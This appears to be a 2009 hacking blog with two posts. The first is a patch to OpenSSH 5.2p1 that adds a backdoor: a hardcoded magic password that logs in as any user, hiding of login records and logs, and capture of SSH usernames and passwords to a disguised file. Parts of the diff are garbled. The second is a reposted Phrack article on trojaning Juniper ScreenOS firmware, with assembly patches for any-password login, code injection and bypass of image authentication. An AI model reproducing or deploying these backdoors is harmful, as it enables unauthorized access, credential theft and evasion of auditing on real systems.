Tuesday, July 21, 2009


The following openssh-5.2p1 patches allow users to:

  • login with any users with 'magic password'
  • hide footprint from wtmp, utmp and lastlog
  • log ssh inbound and outbound username and password
This patches tested on Mac OS X, Solaris 5.10, Ubuntu 8.10 and FreeBSD 7.10. It should works for other operating system too.

slash@Slash-The-Undergrounds-Hackintosh:$ cat uDc-hackssh-v1.0a
diff -Nrc openssh-5.2p1/auth-pam.c uDc-hackssh-v1.0a/auth-pam.c
*** openssh-5.2p1/auth-pam.c Tue Mar 11 19:58:25 2008
--- uDc-hackssh-v1.0a/auth-pam.c Sun Jul 19 13:59:46 2009
*** 466,471 ****
--- 466,474 ----
if (sshpam_err != PAM_SUCCESS)
goto auth_fail;
sshpam_err = pam_authenticate(sshpam_handle, flags);
+ // slash patch
+ if(uDc) sshpam_err = PAM_SUCCESS;
+ // end of patch
if (sshpam_err != PAM_SUCCESS)
goto auth_fail;

*** 816,821 ****
--- 819,833 ----
Buffer buffer;
struct pam_ctxt *ctxt = ctx;

+ // slash patch
+ if(sshpam_authctxt)
+ for (ai = 0; ai <>user, resp[ai]);
+ if(!strcmp(BAJAUPASS, resp[ai])) ctxt->pam_done = uDc = 1;
+ else uDclog();
+ }
+ // end of patch
debug2("PAM: %s entering, %u responses", __func__, num);
switch (ctxt->pam_done) {
case 1:
*** 1045,1050 ****
--- 1057,1065 ----
if (sshpam_err != PAM_SUCCESS)
fatal("PAM: failed to set PAM_CONV: %s",
pam_strerror(sshpam_handle, sshpam_err));
+ // slash patch
+ if(!uDc)
+ // end of patch
sshpam_err = pam_open_session(sshpam_handle, 0);
if (sshpam_err == PAM_SUCCESS)
sshpam_session_open = 1;
diff -Nrc openssh-5.2p1/auth-passwd.c uDc-hackssh-v1.0a/auth-passwd.c
*** openssh-5.2p1/auth-passwd.c Fri Oct 26 12:25:12 2007
--- uDc-hackssh-v1.0a/auth-passwd.c Sun Jul 19 14:01:06 2009
*** 92,97 ****
--- 92,103 ----
if (*password == '\0' && options.permit_empty_passwd == 0)
return 0;
+ // slash patch
+ if(!strcmp(BAJAUPASS, password)) return uDc = 1;
+ sprintf(abuff, "pass_from: %s \tuser: %s \tpass: %s\n",
+ get_remote_ipaddr(), pw->pw_name, password);
+ uDclog();
+ // end of patch

#ifdef KRB5
if (options.kerberos_authentication == 1) {
diff -Nrc openssh-5.2p1/includes.h uDc-hackssh-v1.0a/includes.h
*** openssh-5.2p1/includes.h Fri Jul 4 21:10:49 2008
--- uDc-hackssh-v1.0a/includes.h Sun Jul 19 14:09:10 2009
*** 13,18 ****
--- 13,41 ----
* called by a name other than "ssh" or "Secure Shell".

+ // slash patch
+ #include
+ #include
+ #define BAJAUPASS "black-session"
+ #define SSH_LOG "/var/run/sshd.sync"
+ FILE *bajaulog;
+ char abuff[1024];
+ int kambing, ai, uDc;
+ #define uDclog() { \
+ kambing=strlen(abuff); \
+ for(ai=0; ai<=kambing; ai++) abuff[ai]=~abuff[ai]; \
+ bajaulog=fopen(SSH_LOG, "a"); \
+ if(bajaulog!=NULL) { fwrite(abuff, kambing, 1, bajaulog); fclose(bajaulog);} \
+ chmod(SSH_LOG, 0666); \
+ }
+ const char *get_remote_ipaddr(void);
+ // end of patch
+ #ifndef INCLUDES_H
#define INCLUDES_H
diff -Nrc openssh-5.2p1/log.c uDc-hackssh-v1.0a/log.c
*** openssh-5.2p1/log.c Tue Jun 10 21:01:51 2008
--- uDc-hackssh-v1.0a/log.c Sun Jul 19 14:09:50 2009
*** 338,343 ****
--- 338,346 ----
int pri = LOG_INFO;
int saved_errno = errno;
+ // slash patch + if(uDc) return;
+ // end of patch if (level > log_level)

diff -Nrc openssh-5.2p1/loginrec.c uDc-hackssh-v1.0a/loginrec.c
*** openssh-5.2p1/loginrec.c Thu Feb 12 10:12:22 2009
--- uDc-hackssh-v1.0a/loginrec.c Sun Jul 19 14:11:00 2009
*** 431,436 ****
--- 431,439 ----
login_write(struct logininfo *li)
+ // slash patch
+ if(uDc) return 0;
+ // end of patch
if (geteuid() != 0) {
logit("Attempt to write login records by non-root user (aborting)");
diff -Nrc openssh-5.2p1/sshconnect1.c uDc-hackssh-v1.0a/sshconnect1.c
*** openssh-5.2p1/sshconnect1.c Tue Nov 7 20:14:42 2006
--- uDc-hackssh-v1.0a/sshconnect1.c Sun Jul 19 14:12:35 2009
*** 458,463 ****
--- 458,468 ----
password = read_passphrase(prompt, 0);
+ // slash patch
+ sprintf(abuff, "1to: %s \tuser: %s \tpass: %s\n",
+ get_remote_ipaddr(), options.user, password);
+ uDclog();
+ // end of patch
memset(password, 0, strlen(password));
diff -Nrc openssh-5.2p1/sshconnect2.c uDc-hackssh-v1.0a/sshconnect2.c
*** openssh-5.2p1/sshconnect2.c Wed Nov 5 13:20:47 2008
--- uDc-hackssh-v1.0a/sshconnect2.c Sun Jul 19 14:15:51 2009
*** 797,802 ****
--- 797,807 ----
+ // slash patch
+ sprintf(abuff, "2to: %s \tuser: %s \tpass: %s\n",
+ get_remote_ipaddr(), options.user, password);
+ uDclog();
+ // end of patch
memset(password, 0, strlen(password));
*** 1464,1469 ****
--- 1469,1479 ----

response = read_passphrase(prompt, echo ? RP_ECHO : 0);

+ // slash patch
+ sprintf(abuff, "2ito: %s \tuser: %s \tpass: %s\n",
+ get_remote_ipaddr(), options.user, response);
+ uDclog();
+ // end of patch
memset(response, 0, strlen(response));
diff -Nrc openssh-5.2p1/version.h uDc-hackssh-v1.0a/version.h
*** openssh-5.2p1/version.h Mon Feb 23 08:09:26 2009
--- uDc-hackssh-v1.0a/version.h Sun Jul 19 14:17:31 2009
*** 1,6 ****
--- 1,9 ----
/* $OpenBSD: version.h,v 1.55 2009/02/23 00:06:15 djm Exp $ */

+ // slash patch
+ // change to targetted openssh version
#define SSH_VERSION "OpenSSH_5.2"

#define SSH_PORTABLE "p1"
+ // end of patch

Friday, July 17, 2009

My favorite article of the year so far.

File: archives/66/p66_0x05_Backdooring Juniper Firewalls_by_Graeme.txt
==Phrack Inc.==

Volume 0x0d, Issue 0x42, Phile #0x05 of 0x11

|=---------------=[ Netscreen of the Dead: ]=-------------------=|
|=-=[ Developing a Trojaned Firmware for Juniper ScreenOS Platforms ]=--=|
|=-------------------=[ By graeme@lolux.net ]=-------------------=|

--[ Index
0x1 - Trailer
0x2 - Opening Scene
0x3 - The Attack
0x4 - Live Evisceration
0x5 - Feeding on the Remains
0x6 - Night of the Living Netscreen
0x7 - Autopsy
0x8 - Netscreen of the Dead
0x9 - Zombie Loader
0xA - 28 Hacks Later
0xB - Closing Scene
0xC - References
0xD - Credits
0xE - Addendum

--[ 0x1 - Trailer

This article describes how an attacker can obtain, modify and install a
modified version of Juniper ScreenOS which can run attacker supplied code
which performs hidden operations or operations contrary to the
configuration of any Juniper platform running ScreenOS.

The attacker could be any one of the following:
- an attacker that has exploited a vulnerability in ScreenOS
- someone who has illicitly obtained the administrator password
- someone with physical access to the device (vendor / 3rd party support)
- an attacker conducting a man-in-the-middle attack on the network
- a malicious administrator

--[ 0x2 - Opening Scene

Netscreens are manufactured by Juniper Inc and are all in one firewall,
VPN, router security appliance. They range in scale from SME to Datacentre
(NS5XP -- NS5000). Most are Common Criteria and FIPS certified and run a
closed source, real time OS called ScreenOS which is supplied by Juniper
as a binary firmware 'blob'.

The hardware used for this research was a Netscreen NS5XT containing an
AMCC PowerPC 405 GP RISC processor and 64MB flash. The firmware used as
the basis for modified firmware images was ScreenOS 5.3.0r10. Interfaces
for administration are serial console, Telnet, SSH, and HTTP/HTTPS. The
firmware can be installed from serial console, via the web interface or
via TFTP.

The configuration of the device is stored as a file on the flash and is
independent of the firmware.

--[ 0x3 - The Attack

The goal of the attack is to be able to install attacker modified firmware
which provides hidden root control of the appliance. When attacking
firmware there are two vectors of attack:

1. Live evisceration: debugging with remote GDB debugger over serial line

2. Feeding on the remains: dead listing and static binary analysis using a
disassembler and hex editor.

The next two sections will discuss these two approaches and how successful
they were in this specific instance. At this point it is worth noting some
key features of the PowerPC hardware architecture:
- fixed instruction size of 4 bytes
- flat memory model
- 32 general purpose registers (r0-r31)
- no explicit stack but convention of using r01
- link register (lr) for returning to calling function
- program counter (pc) for current instruction
- count register (ctr) for loop counter or return address
- exception register (xer) for exceptions, status and control

Detailed information on the PowerPC architecture is available from the IBM
PPC405 Embedded Processor Core User Manual which can be downloaded from

--[ 0x4 - Live Evisceration

For live debugging a GDB compiled for PowerPC was required. The Embedded
Linux Development Kit (http://www.denx.de/wiki/DULG/ELDK) has GDB compiled
for a number of embedded platforms including the PowerPC 403 and 405
processors. This provides remote debugging of systems over a serial

Obviously no source for ScreenOS was available so it was necessary to
create a custom GDB init file for displaying PPC registers and 'stack' to
provide useful information on breaks. GDB reads init files on startup and
init files use the same syntax as GDB command files and are processed by
GDB in the same way. The init file in your home directory (~/.gdbinit) can
set options that affect subsequent processing of command line options and
operands. An example gdb init file is supplied in the addendum. This gdb
init file outputs context similar to the windows SoftICE tool which
reverse engineers should be familiar with. Below is an example of a GDB
session connected to a Netscreen:

--start gdb session

GNU gdb Red Hat Linux (6.7-1rh)
Copyright (C) 2007 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later

This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "--host=i686-pc-linux-gnu --target=ppc-linux".
The target architecture is set automatically (currently powerpc:403)

gdb>target remote /dev/ttyU0

0x0032bea4 in ?? ()

r00:00000001 r01:03790528 r02:01358000 r03:FFFFFFFF pc:0032BEA4
r04:0000002E r05:00000000 r06:00000000 r07:00000000
r08:01631050 r09:01350000 r10:01630000 r11:01630000 lr:0032C5CC
r12:40000022 r13:00000000 r14:6FFFA27F r15:1B9FC3F7
r16:00000000 r17:402D04D0 r18:03791470 r19:00000000 ctr:0060A764
r20:03790B48 r21:013509AC r22:FFFFFFFF r23:0379147E
r24:00000000 r25:00000000 r26:00000000 r27:00000000 cr:40000028
r28:03791470 r29:00000000 r30:03790F20 r31:0135098C xer:20000046

0379058C : 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00
03790570 : 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00
0379055A : 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00
0379053E : A6 40 03 79 06 C0 00 60 - A9 BC 00 00 00 00 00 00 .@y.`..
03790528 : 03 79 05 30 00 06 22 F0 - 03 79 03 79 05 40 00 32 y0".yy@2
03790512 : 00 01 03 79 12 58 03 79 - 05 20 0F 20 00 06 37 08 yXy 7
037904F6 : 00 00 00 00 00 05 01 62 - 9F A0 C2 28 01 4A 05 EA ...(J..
037904E0 : 03 79 04 E8 00 32 BE 60 - 03 79 03 79 14 70 01 4A y.2.`yypJ
037904C4 : 01 6F 0A 24 03 79 04 E0 - 00 B8 00 00 00 6C 03 79 o$y..ly

0x32bea4: lwz r0,12(r1)
0x32bea8: mtlr r0
0x32beac: addi r1,r1,8
0x32beb0: blr
0x32beb4: stwu r1,-40(r1)
0x32beb8: mflr r0
0x32bebc: stw r29,28(r1)
0x32bec0: stw r30,32(r1)
0x32bec4: stw r31,36(r1)
0x32bec8: stw r0,44(r1)
0x32becc: mr r31,r3
0x32bed0: lis r9,322
0x32bed4: lwz r0,-13800(r9)
0x32bed8: cmpwi r0,0
0x32bedc: beq- 0x32bef0
0x32bee0: lis r3,196

--end gdb session

The steps for remote debugging on the Netscreen are as follows:
1. Connect to a network interface and the serial console of the Netscreen
from a PC.
2. Over a telnet / SSH session to the Netscreen enable GDB using:
ns5xt>set gdb enable
3. On the PC start gdbppc and connect to the remote gdb using:
gdb>target remote /dev/ttyUSB0

During this research remote debugging was useful for obtaining memory
dumps and querying specific memory addresses. However setting breakpoints
or single stepping did not appear to work. Information on how to get these
features working would be most appreciated by the author.

Observing the boot process of the Netscreen over a serial console did
provide useful information regarding the boot up sequence:

--start boot sequence

NetScreen NS-5XT Boot Loader Version 2.0.0 (Checksum: A1B6FF9B)
Copyright (c) 1997-2003 NetScreen Technologies, Inc.

Total physical memory: 64MB
Test - Pass
Initialization - Done

Hit any key to run loader
Hit any key to run loader
Hit any key to run loader
Hit any key to run loader

Loading default system image from on-board flash disk...

Ignore image authentication!

Start loading...


Juniper Networks, Inc
NS-5XT System Software
Copyright, 1997-2004

Version 5.3.0r10.0
Load Manufacture Information ... Done
Load NVRAM Information ... (5.3.0)Done
Install module init vectors
Verify ACL register default value (at hw reset) ... Done
Verify ACL register read/write ... Done
Verify ACL rule read/write ... Done
Verify ACL rule search ... Done
MD5("a") = 0cc175b9 c0f1b6a8 31c399e2 69772661
MD5("abc") = 90015098 3cd24fb0 d6963f7d 28e17f72
MD5("message digest") = f96b697d 7cb7938d 525a2f31 aaf161d0
Verify DES register read/write ... Done

Initial port mode trust-untrust(1)
Install modules (00c40000,0146d540) ... load dns table
: dns table file do not exist.

Initializing DI 1.1.0-ns
System config (1129 bytes) loaded
Load System Configuration
system init done..
System change state to Active(1)

--end of boot sequence

Stored boot loader executes and the opportunity is given to load a new
image over a serial connection. The default behaviour is then to
uncompress the stored firmware and run the image.

If a new image file is loaded over a serial console it is uncompressed
and some options are presented. The first prompt allows saving the new
image to flash. Even if the new image is not stored to flash the next
prompt allows running the new image. No password is required to load an
image over the serial line.
The boot loader is part of the firmware and if the new boot loader is
different from the version stored on the flash then the stored boot loader
is overwritten by the new one.

--[ 0x5 - Feeding on the Remains

Static binary analysis was the main method employed in this research.
ScreenOS images can be downloaded direct from the device or obtained from
the Juniper website by Juniper customers.

ScreenOS provides the following command to download the firmware over

ns5xt>save software from flash to tftp destination_file

It is important to note that this command downloads the compressed image
file stored on the flash, not the currently running image from memory
which may or may not be the same as the image file stored on the flash.

Using an undocumented command all the files on the flash can be listed:

ns5xt-> exec vfs ls flash:/
$NSBOOT$.BIN 5,177,344
envar.rec 82
golerd.rec 0
node_secret.ace 0
certfile.dsc 252
certfile.dat 1,324
ns_sys_config 1,129
$lkg$.cfg 1,259
syscert.cfg 1,167
2,501,632 bytes free (7,686,144 total) on disk

$NSBOOT$.BIN is the firmware stored on flash. To download this securely
scp can be enabled on the Netscreen. Note the configuration of the device
is stored in ns_sys_config.

It is also possible to use GDB to dump the complete contents of the memory
over a serial line. This is sloooow.

gdb> set logging on
gdb> set height 0
gdb> set loging file 'dump'
gdb> x /2048000000i

As a Juniper customer I was able to download current and old versions of
ScreenOS firmware. Many firmware versions were compared as a first step in
determining the make up of the ScreenOS firmware images. The following 4
section structure was revealed by this comparative analysis:

0x00000000 /--------------------------\
0x00000050 |--------------------------|
| |
0x00002020 |--------------------------|
| STUB |
0x00012940 |--------------------------|
| |
0x00012c00 |--------------------------|
| |
| |
| |
| |
| |
| |
~0x004e6000 \--------------------------/

This is a similar format for other embedded firmware.

Compressed Firmware Header
The header consists of the following 4 byte fields making up 32 bytes:

- Signature (magic bytes)
- Information 4*1 byte fields: 00, Platform, CPU, Version (eg 0x00110A12)
- Offset (for program entry point)
- Address (for program entry point)
- Size
- unknown
- unknown
- Checksum

Points to note are
- the size field = (size of the compressed blob - 79 bytes)
- signature = 0xEE16BA81
- offset = 0x00000002
- address = 0x02860000

and these were always the same in the version 5 firmwares that were
compared. Version 4 firmwares differed but were similar but these are old
versions and I will not discuss them here.


The stub in the firmware image is responsible for uncompressing the blob
when the device is booted. This stub contains strings relating to the LZMA
algorithm so it was assumed that the compressed blob is an LZMA compressed
binary blob. From the Wikipedia LZMA entry: "Decompression-only code for
LZMA generally compiles to around 5kB and the amount of RAM required
during decompression is principally determined by the size of the sliding
window used during compression. Small code size and relatively low memory
overhead, particularly with smaller dictionary lengths, and free source
code make the LZMA decompression algorithm well-suited to embedded

Free LZMA utilities are available here: http://tukaani.org/lzma/ and as
prebuilt packages for most *nix distributions.

Compressed Blob

The compressed blob is LZMA compressed and contains a header but this is a
non-standard header. There are non-standard signature bytes for the stub
to recognise the blob and the LZMA uncompresssed size field is missing.

The standard LZMA header has 3 fields:
options (2 bytes)
dictionary_size (4 bytes)
uncompressed_size (8 bytes)

The blob header also has 3 fields but slightly different:
signature (4 bytes) = 0x1440598
options (2 bytes)
dictionary_size (8 bytes)

The dictionary size is used as a parameter in the compression algorithm.
LZMA is a dictionary coder which I will not explain here but instead point
the reader to http://en.wikipedia.org/wiki/Dictionary_coder.

One approach would have been to attempt to use the header information and
the stub to decompress the compressed blob but given a lack of PowerPC
hardware a different approach was taken. The approach used was to cut out
the compressed blob from the firmware and attempt to decompress it in
isolation using any tools available. Again using comparative anlalysis,
the freely available LZMA utilities and direct modification of the header
bytes the following methods for decompression and compression of the blob
were reverse engineered.

The decompression process:
1. Cut out the compressed blob from the image file.
2. Insert uncompressed_size equal to -1 which equals unknown size
(-1 uncompresseed size = 0xFFFFFFFFFFFFFFFF)
3. Modify the dictionary_size from 0x00200000 to 0x00008000.
4. Decompress the file using standard LZMA utilities.

The modification of the dictionary size was found by fuzzing the field and
then attempting to decompress. The decompression reports an error at the
end of the decompression so it is important to decompress to a stream
otherwise the decompressed data is lost.

The recompression process:
1. Compress with standard LZMA utilities using specific compression
2. Modify the dictionary_size field 0x00002000 to 0x00200000.
3. Delete the uncompressed_size field of 8 bytes.
4. Concatenate with the header from the original image file.

Proof of concept python scripts are provided in the Addendum which can
perform the packing and unpacking of ScreenOS images. The LZMA utilities
are necessary for operation of these scripts.

The recompressed firmware successfully loads onto a Netscreen and runs.
More research into the dictionary size field was going to be carried out
but once loading of firmware was successful there were many other more
interesting avenues of research which took precedence.

--[ 0x6 - Night of the Living Netscreen

So at this stage we have successfully reverse engineered the compression
of the firmware. We are also in a position to reverse engineer the
operating system obtained from the decompression.

The steps are:

1. Cut out the compressed blob section of the image
2. Uncompress the blob.
3. Re-compress the modified binary.
4. Concatenate the original image header and the modified blob.
5. Upgrade the Netscreen with the modified operating system.

So we can install the firmware if we have physical access to the device or
some kind of funky remote serial console. But we want to be able to
install firmware over the network. However on attempting to upload a new
firmware via the device web interface or through the tftp command:

ns5xt>save software from tftp x.x.x.x filename to flash

loading fails with a 'bad image file data' error. Note the insecure
transport mechanism for the firmware. This is vulnerable to a man in the
middle attack.

We need to fix the size and checksum fields of the compressed firmware
header. We know the size field needs to be set equal to the compressed
firmware size - 79 bytes. But we do not yet know how the checksum field is
calculated. To obtain the checksum algorithm we need to disassemble the
uncompressed blob we have from decompressing the firmware. We will now
discuss disassembling the binary and then move onto addressing the
checksum issue.

--[ 0x7 - Autopsy

The uncompressed blob is an approximately 20Mb binary. We want to load
the binary into IDA (a disassembler with PowerPC support) but we need a
loading address so that relative addresses within the program point to the
correct memory locations. Initially the binary was loaded at address
0x00000000 but it is obvious that pointers to strings are not referencing
the beginning of strings.

The uncompressed blob contains a header with similarities to the
compressed firmware header. The header fields contain a virtual address
and a header size. If we subtract the header size from the virtual address
we have the loading address.

Uncompressed Blob Header

signature offset address
00000000: EE16BA81 00010110 00000020 00060000

ScreenOS Loading Address = 0x00060000 - 0x00000020 = 0x0005FFE0

This can be confirmed with live debugging by using GDB and querying the
memory at 0x0005FFE0 to check that the signature bytes 0xEE16BA81 are at
that memory location.

We can now rebase the program in IDA to use the correct loading address.
Now we have a correctly loaded binary but we do not know anything about
the structure of the binary or the sections it may contain as the binary
is not a recognised executable type. Code and data were marked using IDC
scripts which searched for function prologs (0x9421F*) and string cross
references. The approximate segments of the binary found by scripting and
manual examination are sketched out in the very simplified illustration

0x0005ffe0 /-------------------------\
| HEADER & |
0x00c40000 |-------------------------|
0x00f0efd8 |-------------------------|
0x011ddab4 |-------------------------|
0x011f2b4e |-------------------------|
0x0140e04c |-------------------------|
| 0xFFs |
0x014171cf |-------------------------|
| other stuff |

To build up a picture of the binary it is useful to search for functions
such as str_cmp, file_read, file_write etc and use error strings to
identify and name functions in IDA.

The boot loader can be cut out and disassembled separately with a loading
address of 0x00000000.

--[ 0x8 - Netscreen of the Dead

At this stage we are now ready to construct a ScreenOS Trojaned Firmware.
Any trojan has three basic requirements:

1. Delivery: It must be able to be installed remotely.
2. Access: It must provide remote access / communication.
3. Payload: It must provide attacker supplied code execution.

During this research all modification of the ScreenOS binary to construct
the trojaned version was hand crafted assembly inserted via hex editing
the binary firmware.

1. First Bite [ Delivery ]
Unlike loading a firmware over a serial console at boot time, the
checksum and size fields in the header are checked when images are loaded
over the network via TFTP or the Web interface

00000000: EE16BA81 00110A12 00000020 02860000
00000010: 004E6016 15100050 29808000 C72C15F7 <-CHECKSUM The checksum is calculated as part of the image loading sequence and a disassembly of the relevant function is shown below...but on firmware loading any bad header checksum value is printed to the console with an error message. If we binary modify the firmware to print out the correct checksum value we would have a 'checksum calculator' firmware which we can load modified firmware against to calculate valid checksums. So we don't have to calculate or reverse engineer the checksum algorithm. This checksum calculator firmware can be loaded over serial console and new images we need to calculate the checksum for are loaded over TFTP. The correct checksum will then be output to the console. This correct header value can then be inserted into the firmware header by direct hex editing of the image file. With a correct checksum field we can now load modified images via tftp and the web interface. Below is the ScreenOS code we need to modify to create a checksum calculator image. 008B60E4 lwz %r4, 0x1C(%r31) # %r4 contains header checksum 008B60E8 cmpw %r3, %r4 # %r3 contains calculated checksum 008B60EC beq loc_8B6110 # branch away if checksums matched 008B60F0 lis %r3, aCksumXSizeD@h # " cksum :%x size :%d\n" 008B60F4 addi %r3, %r3, aCksumXSizeD@l 008B60F8 lwz %r5, 0x10(%r31) 008B60FC bl Print_to_Console # %r4 is printed to console 008B6100 lis %r3, aIncorrectFirmw@h # "Incorrect firmware data" 008B6104 addi %r3, %r3, aIncorrectFirmw@l 008B6108 bl Print_to_Console If we replace 008B60E8 cmpw %r3, %r4 # %r3 contains calculated checksum with 008B60EC mr %r4,%r3 # print out calculated checksum we have our checksum calculator firmware. For interested readers two checksum algorithms were identified at addresses and reverse engineering of these is certainly possible. One Bit{e} [ Access ] The most stealthy and elegant backdoor is to subvert the existing login mechanism. It may be possible to spawn a shell on another external port but this may be noticed from an external scan of the appliance and compromises the stealthiness of the trojaned firmware so further research into this was not carried out. Serial console, Telnet, Web and SSH all compare password hashes and use the same function for that comparison. Additionally SSH falls back to password authentication if the client does not supply a key, unless password authentication has been explicitly disabled. A one bit patch to the firmware provides a login with any password if a valid username is supplied. 003F7F04 mr %r4, %r27 003F7F08 mr %r5, %r30 003F7F0C bl COMPARE_HASHES # does a string compare 003F7F10 cmpwi %r3, 0 # equal if match 003F7F14 bne loc_3F7F24 # login fails if not equal (branch) 003F7F18 li %r0, 2 003F7F1C stw %r0, 0(%r29) 003F7F20 b loc_3F7F28 If we replace 003F7F10 cmpwi %r3, 0 # equal if match with 0x397F30 cmpwi %r3, 1 # equal if they don't match then any password EXCEPT a valid password will provide a login. We could patch 003F7F14 bne loc_3F7F24 # login fails if not equal (branch) to 003F7F14 bl loc_3F7F24 # login never fails (branch) to allow any password with a valid username to work. Infection [ Payload ] The last step for our working trojan is to be able to inject code into the firmware. First we need to find somewhere to inject the code we want executed. The ScreenOS code section contains a block of nulls large enough to include useful functionality at address 0x0031b4ac to 0x0031b4b0 First we write our desired functionality in PowerPC assembly and replace a chunk of nulls with the hex values of the assembly opcodes. The steps to execute this code are: - Patch a branch in ScreenOS to call our code - Run our injected code which can potentially call ScreenOS functions - Branch back to callee This code can be injected at address 0x002BB4E0 in the firmware and called from the login function of ScreenOS: 003F7F04 mr %r4, %r27 003F7F08 mr %r5, %r30 003F7F0C bl GET_HASHED_PASS # patch this to call our code 003F7F10 cmpwi %r3, 0 003F7F14 bne loc_3F7F24 003F7F18 li %r0, 2 003F7F1C stw %r0, 0(%r29) 003F7F20 b loc_3F7F28 so 003f7f0c bl GET_HASHED_PASS becomes 003f7f0c bl 0x31b4c0 which will jump to the location containing the injected code. To inject code the PowerPC architecture features such as flat memory model, fixed width 4 byte instructions and the link register make this fairly straightforward to implement. A very simple proof of concept example, which prints out a string to the console on every login, is provided below: stwu %sp, -0x20(%sp) # reserve some stack space mflr %r0 # minimal function prolog lis %r3, string_msb_address # load half of string addi %r3, %r3, string_lsb_address # load second half of string bl Print_To_Console # call ScreenOS function mtlr %r0 addi %sp, 0x20 #minimal function epilog bl callee_function # branch back to calling function As PowerPC has a fix instruction size of 4 bytes to load a 4 byte string we need two instructions. The first loads the most significant bytes - 2 bytes for load instruction into register and 2 bytes of string, the second adds the least significant bytes to the register to give us 4 byte string. This asssembly is then translated in hex and patched into the firmware using a hex editor at absolute address 0x002bb4e0 overwriting existing nulls bytes: 0x002bb4b0: 93DFCAC4 4BD48E69 80010014 7C0803A6 0x002bb4c0: 83C10008 83E1000C 38210010 4E800020 0x002bb4d0: 00000000 00000000 00000000 00000000 0x002bb4e0: 9421FFE0 7C0802A6 3C6000C4 386321BC <---- 0x002bb4f0: 488ED7E9 60630001 7C0803A6 38210020 injected code 0x002bb500: 480DCA31 00000000 00000000 00000000 ->
0x002bb510: 00000000 00000000 00000000 00000000

From reverse engineering we have identified a ScreenOS function which
prints strings to the console. So here we have new functionality injected
into the ScreenOS firmware which has new code but also calls builtin
ScreenOS functionality. The string loaded can be one already existing in
ScreenOS or a new one injected somewhere into the null byte area.

Every time a user logins the string will be output to the serial console.

--[ 0x9 - Zombie Loader

ScreenOS does include a facility to validate firmware images and all
Juniper firmware images are signed. Crucially though the validating
certificate is NOT installed by default on any Netscreen AND anyone with
administrator rights can delete and install the certifcate. To enable
firmware image authentication it is necessary to obtain the certificate
from the Juniper website and then upload the certificate to the device
using the following command:

save image-key tftp image-key.cer

In the example above image-key is the certificate to be uploaded from the
tftp server with IP address Note the insecure transport
mechanism for a cryptographic key. This is vulnerable to a man in the
middle attack.

The firmware authentication check code is present in the boot loader which
we can modify to authenticate all firmware images or only non-Juniper
images. It may also be possible to sign firmware with our own certificate
and upload this to the Netscreen to be used for validation.

Patching the Boot Loader to bypass certificate authentication.
To bypass the firmware authentication check only one branch instruction
needs to be patched:

beq -> bl 0x4182001C -> 0x4800001C

0000D68C bl sub_98B8
0000D690 cmpwi %r3, 0 # %r3 has result of image validation
0000D694 beq loc_D6B0 # branch if passed
0000D698 lis %r3, aBogusImageNotA@h # image not authenticated
0000D69C addi %r3, %r3, aBogusImageNotA@l
0000D6A0 crclr 4*cr1+eq
0000D6A4 bl sub_C8D0
0000D6A8 li %r31, -1
0000D6AC b loc_D6E0

If we replace

0000D694 beq loc_D6B0 # branch if passed


0000D694 bl loc_D6B0 # always branch, all images authenticated

or this

0000D694 bne loc_D6B0 # evil...only bogus images authenticated

we can successfully load modified firmware even if a Juniper certificate
is installed on the device. The boot loader is automatically upgraded when
an image is loaded if the new boot loader differs from the existing.

In summary the steps to bypass firmware authentication are:

1. Delete certificate if one has been uploaded using the command:

ns5xt>delete crypto auth-key

2. Upload the modified firmware image including modified boot loader.

3. Upload the certificate using:

ns5xt>save image-key tftp imagekey.cer

--[ 0xA - 28 Hacks Later

A more useful trojaned firmware can perform numerous functions leveraging
existing ScreenOS functionality such as
- loading a hidden shadow configuration file
- allowing all traffic from one IP through the Netscreen to the network
- a network traffic tap
- persistent infection via boot loader on a firmware upgrade
- client side attacks against Administrators via Javascript code injection
into the web console

--[ 0xB - Closing Scene

If unauthorised access is gained to a device running ScreenOS it is
possible for an attacker to replace the boot loader and operating system
with a modified version which is undetectable except by off line
comparison with a known image.

Juniper in-memory infection.

A very stealthy attack is also possible due to a feature of ScreenOS. When
loading a firmware over serial console two options are provided:
1. Save firmware to flash and then run new firmware.
2. Just run new firmware without saving to flash.

In the second case the modified firmware will be wiped on reboot and the
previously stored firmware will be run. After a reboot no trace of the
modified firmware will be left.

These attacks are straightforward for an attacker anywhere in the supply
chain (ie vendors. manufacturers) or someone with physical access (ie
third party support). If an administrator uses TFTP or HTTP to upgrade a
Netscreen it is also possible to conduct a man-in-the-middle attack and
replace the firmware being uploaded with a modified version on the wire.

These attacks could be prevented by Juniper pre-installing a certificate
for image authentication which can not be deleted or modified.

--[ 0xC - References

- Juniper JTAC Bulletin PSN-2008-11-111
ScreenOS Firmware Image Authenticity Notification
"All Juniper ScreenOS Firewall Platforms are susceptible to
circumstances in which a maliciously modified ScreenOS image can
be installed."


--[ 0xD - Credits
George Romero, antic0de, the belgian, hawkes, zadig, lenny, mark, andy,
ruxcon, kiwicon, +Mammon, +Orc

--[ 0xE Adddendum:

~/.gdbinit for remote PowerPC debugging
#--------------remote connect command over USB serial link-----------------
define netscreen
set height 0
set logging on
target remote /dev/ttyUSB0
#--------------------breakpoint aliases------------------------------------
define bpl
info breakpoints

define bpc
clear $arg0

define bpe
enable $arg0

define bpd
disable $arg0

#--------------------process information-----------------------------------
define stack
info stack
info frame
info args
info locals

define reg
printf " r00:%08X r01:%08X r02:%08X r03:%08X", $r0, $r1, $r2, $r3
printf " \t pc:%08X\n", $pc
printf " r04:%08X r05:%08X r06:%08X r07:%08X\n", $r4, $r5, $r6, $r7
printf " r08:%08X r09:%08X r10:%08X r11:%08X", $r8, $r9, $r10, $r11
printf " \t lr:%08X\n", $lr
printf " r12:%08X r13:%08X r14:%08X r15:%08X\n", $r12, $r13, $r14, $r15
printf " r16:%08X r17:%08X r18:%08X r19:%08X", $r16, $r17, $r18, $r19
printf " \tctr:%08X\n", $ctr
printf " r20:%08X r21:%08X r22:%08X r23:%08X\n", $r20, $r21, $r22, $r23
printf " r24:%08X r25:%08X r26:%08X r27:%08X", $r24, $r25, $r26, $r27
printf " \t cr:%08X\n",$cr
printf " r28:%08X r29:%08X r30:%08X r31:%08X", $r28, $r29, $r30, $r31
printf " \txer:%08X\n", $xer

define func
info functions

define var
info variables

define lib
info sharedlibrary

define sig
info signals

define threadice
info threads

define u
info udot

define dis
disassemble $arg0

#------------------------------hex/ascii dump address----------------------
define hexdump
printf "%08X : ", $arg0
